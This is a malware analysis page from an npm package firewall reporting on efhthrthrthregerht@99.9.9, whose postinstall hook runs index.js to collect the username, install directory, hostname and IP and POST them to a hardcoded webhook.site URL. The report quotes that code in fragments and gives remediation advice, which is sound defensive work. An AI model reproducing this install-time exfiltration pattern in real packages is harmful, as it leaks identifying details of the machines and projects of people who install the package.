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efhthrthrthregerht@99.9.9: Malicious npm security report (Block) | LPM Firewall

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Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

A third-party webhook receives identifying details about the machine and project directory that installed the package.

View on npm All versions

registry / efhthrthrthregerht / 99.9.9

efhthrthrthregerht@99.9.9

AI Security Review

scanned 15d ago · by lpm-firewall-ai

Install of efhthrthrthregerht runs index.js, which collects local host identity and sends it to webhook.site.

Static reason

One or more suspicious static signals were detected.

Trigger

npm postinstall executes node index.js.

Impact

A third-party webhook receives identifying details about the machine and project directory that installed the package.

Mechanism

The script gathers username, current directory, hostname, and a non-internal IPv4 address, then POSTs that JSON to a hardcoded webhook.site URL.

Attack narrative

On install, the postinstall hook starts index.js. The script reads the OS username, INIT_CWD or the process directory, the hostname, and the first non-internal IPv4 address. It then POSTs that JSON to a hardcoded webhook.site address, so installing the package discloses host and project location to an unrelated recipient.

AI rationale

The package has no product behavior beyond an install hook that phones home host identity to webhook.site. That unsolicited exfiltration on install is concrete attack behavior.

Evidence

package.jsonindex.js

Network endpoints1

webhook.site/f9bff304-3053-4d54-be05-86537267514a

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16436

Stop threats before they install.

Firewall

Threat feed
How it works
Policy

LPM

Source

OpenSSF Malicious Packages via OSV

Summary

The package has no product behavior beyond an install hook that phones home host identity to webhook.site. That unsolicited exfiltration on install is concrete attack behavior.

References

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall script runs node index.js automatically during package install.
index.js reads the OS username, install working directory, hostname, and first non-internal IPv4 address.
That host identity object is POSTed as JSON to an unrelated webhook.site URL.

Evidence against

The script does not spawn a shell, eval dynamic code, or write files.
No dependency installs another release of this package.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 940 B of source, external domains: webhook.site

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node index.js"

High

Suspicious Lifecycle Evidence

The postinstall script runs node index.js automatically during package install.

package.jsonView on unpkg · L7

index.jsView file

4function localIP() { L5: const nets = os.networkInterfaces(); L6: ... L19: user: os.userInfo().username, L20: cwd: process.env.INIT_CWD || process.cwd(), L21: hostname: os.hostname(), L22: ip: localIP() ... L25: L26: const SERVER_URL = "https://webhook.site/f9bff304-3053-4d54-be05-86537267514a"; L27: ... L32: }, L33: body: JSON.stringify(payload)

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L4

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> index.js const SERVER_URL = "https://webhook.site/f9bff304-3053-4d54-be05-86537267514a"; method: "POST", body: JSON.stringify(payload)

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

19user: os.userInfo().username,

High

Ai Review Evidence

index.js reads the OS username, install working directory, hostname, and first non-internal IPv4 address.

index.jsView on unpkg · L19

20cwd: process.env.INIT_CWD || process.cwd(),

High

Ai Review Evidence

index.js reads the OS username, install working directory, hostname, and first non-internal IPv4 address.

index.jsView on unpkg · L20

21hostname: os.hostname(),

High

Ai Review Evidence

index.js reads the OS username, install working directory, hostname, and first non-internal IPv4 address.

index.jsView on unpkg · L21

Findings

7 High2 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to efhthrthrthregerht@99.9.9.

See version security history for other recorded verdicts.

Avoid installing efhthrthrthregerht@99.9.9. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-23 09:32:56.775Z (UTC).

97%Malicious

AI assessment confidence

IntentMalware

TypeData Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Trusted malware advisory MAL-2026-16436 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory.

Package metadata

npm

Version99.9.9

PublishedSep 22, 2026

LicenseISC

Dependencies0

Integrityverified

Package size743 B

Files2

Runtime surface

package.json

Entrypointsmain → index.js

RuntimeNo engine / OS / CPU constraints

Artifact1.15 KB · 2 files1 signature(s)

Install lifecyclepostinstall

Behavioral surface

EnvironmentVarsNetworkHighEntropyStringsUrlStringsManifest: clean

LPM.dev Registry

© 2026 LPM

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node index.js"

High

Suspicious Lifecycle Evidence

The postinstall script runs node index.js automatically during package install.

package.jsonView on unpkg · L7

index.jsView file

4function localIP() { L5: const nets = os.networkInterfaces(); L6: ... L19: user: os.userInfo().username, L20: cwd: process.env.INIT_CWD || process.cwd(), L21: hostname: os.hostname(), L22: ip: localIP() ... L25: L26: const SERVER_URL = "https://webhook.site/f9bff304-3053-4d54-be05-86537267514a"; L27: ... L32: }, L33: body: JSON.stringify(payload)

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L4

•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> index.js const SERVER_URL = "https://webhook.site/f9bff304-3053-4d54-be05-86537267514a"; method: "POST", body: JSON.stringify(payload)

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

19user: os.userInfo().username,

High

Ai Review Evidence

index.js reads the OS username, install working directory, hostname, and first non-internal IPv4 address.

index.jsView on unpkg · L19

20cwd: process.env.INIT_CWD || process.cwd(),

High

Ai Review Evidence

index.js reads the OS username, install working directory, hostname, and first non-internal IPv4 address.

index.jsView on unpkg · L20

21hostname: os.hostname(),

High

Ai Review Evidence

index.js reads the OS username, install working directory, hostname, and first non-internal IPv4 address.

index.jsView on unpkg · L21